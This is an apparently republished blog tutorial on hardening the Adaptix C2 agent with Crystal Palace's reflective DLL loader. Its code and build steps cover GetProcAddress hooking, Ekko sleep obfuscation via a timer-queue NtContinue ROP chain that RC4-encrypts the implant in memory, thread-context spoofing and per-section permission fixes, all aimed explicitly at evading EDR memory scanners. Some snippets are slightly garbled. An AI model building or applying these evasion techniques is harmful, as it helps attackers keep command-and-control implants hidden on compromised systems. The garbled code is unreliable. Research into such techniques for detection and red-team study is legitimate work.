From PEB Walk to Ekko ROP: Hardening Adaptix C2 with Crystal Palace’s Reflective DLL Loader + Video

Listen to this Post

Featured Image

Introduction

Out-of-the-box C2 agent DLLs are forensic nightmares—RWX memory regions, no import obfuscation, and predictable sleep patterns that memory scanners feast upon. This article dissects the journey of transforming Adaptix C2’s default agent into a hardened payload using Crystal Palace’s Reflective DLL Loader (RDLL). We explore IAT hooking via PICO-resident `GetProcAddress` interception, Ekko-style sleep obfuscation driven by timer-queue ROP chains, per-section permission restoration to satisfy BOF compatibility, and thread-context spoofing that collectively render the agent invisible to modern EDR memory scanners.

Learning Objectives

  • Understand the architecture of Crystal Palace’s PIC/PICO toolchain and its role in building position-independent reflective loaders.
  • Implement IAT hooking through `GetProcAddress` interception to redirect wait/synchronization APIs into an Ekko obfuscation pipeline.
  • Construct a timer-queue-based ROP chain using `NtContinue` and `CONTEXT` structures to encrypt/decrypt DLL memory during long sleeps.
  • Diagnose and resolve common Crystal Palace linker errors including `___chkstk_ms` and `.bss` relocation failures.
  • Apply per-section PE permissions (.text → RX, `.data` → RW, `.rdata` → RO) to prevent BOF crashes caused by blanket `PAGE_EXECUTE_READWRITE` restoration.
  1. Forcing a Clean IAT Import: Defeating the PEB Walk

Adaptix’s default agent resolves `WaitForSingleObject` at runtime via a PEB walk in ApiLoader.cpp, meaning the function never appears in the DLL’s Import Address Table. Crystal Palace’s `addhook` mechanism operates at import resolution time—if the import doesn’t exist in the IAT, there’s nothing to intercept.

The Fix: Replace the PEB-walk resolution with a direct import reference:

// Before: PEB walk (no IAT entry)
ApiWin->WaitForSingleObject = (decltype(WaitForSingleObject))GetSymbolAddress(
hKernel32Module, HASH_FUNC_WAIT_FOR_SINGLE_OBJECT);

// After: Direct import (generates proper IAT entry)
ApiWin->WaitForSingleObject = &WaitForSingleObject;

This forces the compiler to generate an IAT entry for kernel32!WaitForSingleObject. The loader’s `ProcessImports()` then routes every import through the hooked GetProcAddress, where `__resolve_hook()` checks the ROR13 hash against registered hooks.

Step‑by‑step guide:

1. Locate `ApiLoader.cpp` in the Adaptix agent source.

  1. Replace the `GetSymbolAddress` call with a direct address-of operator on the target API.
  2. Rebuild the agent DLL to generate a clean IAT.
  3. Verify the import appears using `dumpbin /imports agent.dll` or PE-bear.

  4. Crystal Palace Hooking Architecture: The PICO Resident Resolver

The hooks reside in a PICO (Persistent PIC Object)—a separate COFF loaded into its own allocation that stays resident alongside the DLL. This is critical because the main PIC (loader) is transient; its memory is freed after `go()` executes.

pico.c – The Hook Resolver:

FARPROC WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
if ((ULONG_PTR)lpProcName > 0xFFFF) {
FARPROC hook = __resolve_hook(ror13hash(lpProcName));
if (hook) return hook;
}
return GetProcAddress(hModule, lpProcName);
}

void setup_hooks(IMPORTFUNCS funcs) {
funcs->GetProcAddress = (<strong>typeof</strong>(GetProcAddress) )_GetProcAddress;
}

pico.spec – Registering Hooks:

addhook "KERNEL32$WaitForSingleObjectEx" "_WaitForSingleObjectEx"
addhook "KERNEL32$WaitForSingleObject" "_WaitForSingleObject"
addhook "KERNEL32$WaitForMultipleObjects" "_WaitForMultipleObjects"
addhook "KERNEL32$ConnectNamedPipe" "_ConnectNamedPipe"
exportfunc "setup_hooks" "__tag_setup_hooks"
exportfunc "set_image_info" "__tag_set_image_info"

Loader Flow (loader.c):

1. `VirtualAlloc` the PICO and call `PicoLoad()`.

2. `setup_hooks()` rewrites `funcs.GetProcAddress` to the hooked version.

3. `LoadDLL()` maps the Adaptix agent into memory.

4. `ProcessImports()`—every import now passes through `_GetProcAddress`.

5. `set_image_info()` stores the DLL base/size in PICO globals for Ekko.

6. `fix_section_permissions()` applies per-section PE protections.

Step‑by‑step guide:

  1. Write your hook functions in `hooks.c` (e.g., _WaitForSingleObject).
  2. Define the PICO spec (pico.spec) with `addhook` entries and `exportfunc` directives.
  3. Build the PICO: `make object` in the Crystal Palace toolchain.
  4. In the loader spec (loader.spec), `run` the PICO spec to merge it.
  5. The loader calls `PicoGetExport()` to resolve `setup_hooks` and `set_image_info` at runtime.

3. Ekko Sleep Obfuscation: Timer-Queue ROP with NtContinue

Ekko encrypts the entire DLL image during long sleeps, leaving memory scanners with nothing but random bytes. The current implementation uses a timer-queue ROP chain where each “gadget” is a full `CONTEXT` struct with Rip, Rcx, Rdx, etc..

ROP Chain Steps:

| Step | Function | Purpose |

||-||

| 0 | `WaitForSingleObject(hEvtStart, INFINITE)` | Gate: block timer thread until ready |
| 1 | `GetThreadContext(MainThread, &CtxBkp)` | Backup real main thread context |
| 2 | `SetThreadContext(MainThread, &CtxSpf)` | Install spoofed context from random thread |
| 3 | `VirtualProtect` | Change DLL to `PAGE_READWRITE` |
| 4 | `SystemFunction032` | RC4-encrypt the DLL image |
| 5 | Original wait/IPC operation | Execute `WaitForSingleObjectEx` / `ConnectNamedPipe` |
| 6 | `SystemFunction032` | RC4-decrypt the DLL image (same key = toggle) |
| 7 | `restore_section_permissions()` | Walk PE sections, apply correct per-section protections |
| 8 | `SetThreadContext(MainThread, &CtxBkp)` | Restore original main thread context |
| 9 | `SetEvent(hEvtEnd)` | Signal completion to waiting thread |

Each step is dispatched by setting up a `CONTEXT` struct and having `NtContinue` load it via a timer callback. Timers are staggered 100ms apart to execute in order.

Hook Wrapper Logic (hooks.c):

DWORD _WaitForSingleObjectEx(HANDLE hHandle, DWORD dwMilliseconds, BOOL bAlertable) {
if (dwMilliseconds < 1000) {
// Short waits: no obfuscation
return g_pWaitForSingleObjectEx(hHandle, dwMilliseconds, bAlertable);
}
// Long waits: run Ekko and simulate completion
HOOK_ARGS Args = { .WaitForSingleObjectExArgs = { hHandle, dwMilliseconds, 
bAlertable, g_pWaitForSingleObjectEx } };
EkkoObf(WAIT_FOR_SINGLE_OBJECT_EX, &Args);
return WAIT_OBJECT_0;
}

Step‑by‑step guide:

  1. In hooks.c, declare `PVOID g_ImageBase` and `DWORD g_ImageSize` as globals.
  2. Implement `EkkoObf()` to build the ROP chain using `CreateTimerQueueTimer` + NtContinue.
  3. For each hooked API, wrap the original call inside `EkkoObf()` when dwMilliseconds >= threshold.
  4. The loader calls `set_image_info(base, size)` to populate the globals after mapping the DLL.

4. Conquering Crystal Palace Linker Errors

Crystal Palace’s PIC linker is strict about relocations—here are the three most common failures and their fixes.

Error 1: `___chkstk_ms` Relocation

Can't process relocation for ___chkstk_ms @ 0xf7 in pico.spec (x64)

Cause: `EkkoObf` declares 7 `CONTEXT` structs on the stack (~8.5 KB total). When a stack frame exceeds 4 KB, GCC inserts a call to ___chkstk_ms—a CRT function unavailable in PIC.

Fix: Add `-mno-stack-arg-probe` to compiler flags to skip stack probing:

CFLAGS=-DWIN_X64 -shared -Wall -Wno-pointer-arith -mno-stack-arg-probe

Error 2: `.bss` Relocation

Can't process relocation for .bss @ 0xa9f in loader.spec (x64)

Cause: `= { 0 }` initializers on structs place zero-initialization patterns in .bss, generating relocations Crystal Palace cannot process.

Fix: Replace with explicit `memset` calls:

// BAD - .bss relocation
CONTEXT CtxThread = { 0 };

// GOOD - runtime zeroing, no .bss reference
CONTEXT CtxThread;
MSVCRT$memset(&CtxThread, 0, sizeof(CONTEXT));

Error 3: Zero-Initialized Globals in `.bss`

Even after the `memset` fix, globals like `g_ImageBase = NULL` remained in .bss.

Fix: Add `-fno-zero-initialized-in-bss` to force them into `.data`:

CFLAGS=... -fno-zero-initialized-in-bss

Crystal Palace PIC Rules of Thumb:

  • No `= { 0 }` initializers on structs—use memset.
  • No string literals—use stack strings.
  • No CRT calls (___chkstk_ms)—use -mno-stack-arg-probe.
  • No `.bss` references—use -fno-zero-initialized-in-bss.
  • Globals with `.data` relocations belong in PICOs, not the main PIC.

5. The BOF Crash: Per-Section Permission Restoration

Everything worked—until the Adaptix agent tried to run a Beacon Object File (BOF). Instant crash.

The Problem: Original Ekko used a blanket `VirtualProtect` to restore `PAGE_EXECUTE_READWRITE` over the entire image. Sections like `.data` and `.rdata` must not have execute permission. When a BOF writes into .data-style memory with `PAGE_EXECUTE_READWRITE` instead of PAGE_READWRITE, internal relocations hit unexpected guard pages.

The Fix: `restore_section_permissions()` walks the PE section table and applies correct protection flags per section:

void restore_section_permissions(PVOID image_base, DWORD image_size) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)image_base;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE)image_base + dos->e_lfanew);
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(nt);

for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, section++) {
DWORD protect = 0;
DWORD characteristics = section->Characteristics;

if (characteristics & IMAGE_SCN_MEM_EXECUTE) {
protect = (characteristics & IMAGE_SCN_MEM_WRITE) ? 
PAGE_EXECUTE_READWRITE : PAGE_EXECUTE_READ;
} else if (characteristics & IMAGE_SCN_MEM_WRITE) {
protect = PAGE_READWRITE;
} else {
protect = PAGE_READONLY;
}

VirtualProtect((BYTE)image_base + section->VirtualAddress,
section->Misc.VirtualSize, protect, &old);
}
}

Step‑by‑step guide:

1. Parse the PE headers from `g_ImageBase`.

2. Iterate through each section header.

  1. Map `Characteristics` flags to Windows page protection constants.
  2. Call `VirtualProtect` per section with the correct flags.
  3. Integrate this function as ROP step 7 in the Ekko chain, replacing the blanket VirtualProtect.

6. Building and Integrating with Adaptix

Compilation (cross-compiled from Linux with MinGW):

 Compile COFF objects
CC_64=x86_64-w64-mingw32-gcc
CFLAGS=-DWIN_X64 -shared -Wall -Wno-pointer-arith -mno-stack-arg-probe -fno-zero-initialized-in-bss

make clean && make all

Link with Crystal Palace
./crystal_palace/link crystal_palace/specs/loader.spec /path/to/agent.x64.dll build/agent.bin

Compile test harness
x86_64-w64-mingw32-gcc -DWIN_X64 demo/src/run.c -o run.x64.exe -lws2_32

Run
.\run.x64.exe agent.bin

Adaptix Integration via Service Extenders:

The `src_service/` directory contains an Adaptix Service Extender that wires the Crystal Palace pipeline directly into the Adaptix build flow:

  • Path 1 (Service Extender): Drop the extender into Adaptix, enable it, and let it hook the agent build pipeline. When Adaptix builds an agent DLL, the extender runs COFF compilation + Crystal Palace link + wrapper build.

  • Path 2 (Post-Build Hook): Keep Adaptix unmodified and add a post-build hook that takes the freshly built agent DLL, runs it through loader.spec, and replaces or wraps the output.

Both approaches converge on the same artifact: a hardened wrapper (EXE/DLL/SVC) whose `.text` section contains the Crystal Palace PIC.

What Undercode Say:

  • Forcing a clean IAT import is the foundational prerequisite—without it, Crystal Palace’s `addhook` has nothing to intercept. The PEB walk is a common evasion technique, but it breaks IAT-based hooking. Swapping it for a direct import is a small source change with massive downstream impact.

  • The PICO architecture is elegant but demands discipline—the main PIC is transient, so all persistent state (hooks, Ekko globals) must live in a PICO. This separation forces clean design but introduces complexity in symbol sharing between `pico.c` and `hooks.c` via merge.

  • Linker errors are the hidden tax of PIC development—___chkstk_ms and `.bss` relocations are not obvious from the source. The flags `-mno-stack-arg-probe` and `-fno-zero-initialized-in-bss` are non-1egotiable for Crystal Palace projects.

  • Per-section permissions are non-1egotiable for BOF compatibility—the blanket RWX restore in original Ekko is a ticking time bomb. Walking the PE section table and applying correct protections is the only way to support BOFs without crashes.

  • The beauty is in the transparency—the Adaptix DLL has no idea anything changed. It calls its normal wait/IPC primitives, and behind the scenes, its entire memory image gets encrypted, the process waits, and everything comes back with each section having exactly the right permissions.

Prediction

  • +1 The techniques demonstrated—IAT hooking via `GetProcAddress` interception, Ekko-style sleep obfuscation with timer-queue ROP chains, and per-section permission restoration—will become standard components in next-generation C2 frameworks. As EDRs improve memory scanning, sleep obfuscation will transition from “nice-to-have” to “mandatory.”

  • +1 Crystal Palace’s PIC/PICO toolchain represents a paradigm shift in Windows payload development. Its ability to produce position-independent code from standard COFF objects lowers the barrier to entry for advanced tradecraft, potentially democratizing techniques previously reserved for nation-state actors.

  • -1 The complexity of the Crystal Palace linker and its strict relocation requirements will remain a significant adoption barrier. The lack of a visual debugger or step-through linker means developers must rely on trial-and-error, as evidenced by the “gauntlet of linker errors” described in the original post.

  • -1 As sleep obfuscation becomes more prevalent, EDR vendors will increasingly focus on detecting the timing and ROP chain signatures of Ekko-style implementations rather than the encrypted memory itself. Timer-queue callbacks with staggered 100ms intervals are already fingerprintable.

  • +1 The `restore_section_permissions()` approach—walking the PE section table instead of blanket RWX—will be adopted by other sleep obfuscation projects. BOF compatibility is a hard requirement for any serious C2 framework, and the blanket approach is fundamentally broken for modern payloads.

  • +1 The integration of Crystal Palace via Adaptix Service Extenders points toward a future where build-time hardening is seamless. As frameworks adopt plugin architectures, tradecraft hardening will shift from manual post-processing to automated pipeline stages.

▶️ Related Video (78% Match):

https://www.youtube.com/watch?v=1dinvGrCaIg

🎯Let’s Practice For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

IT/Security Reporter URL:

Reported By: Abelousova Sleeping – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky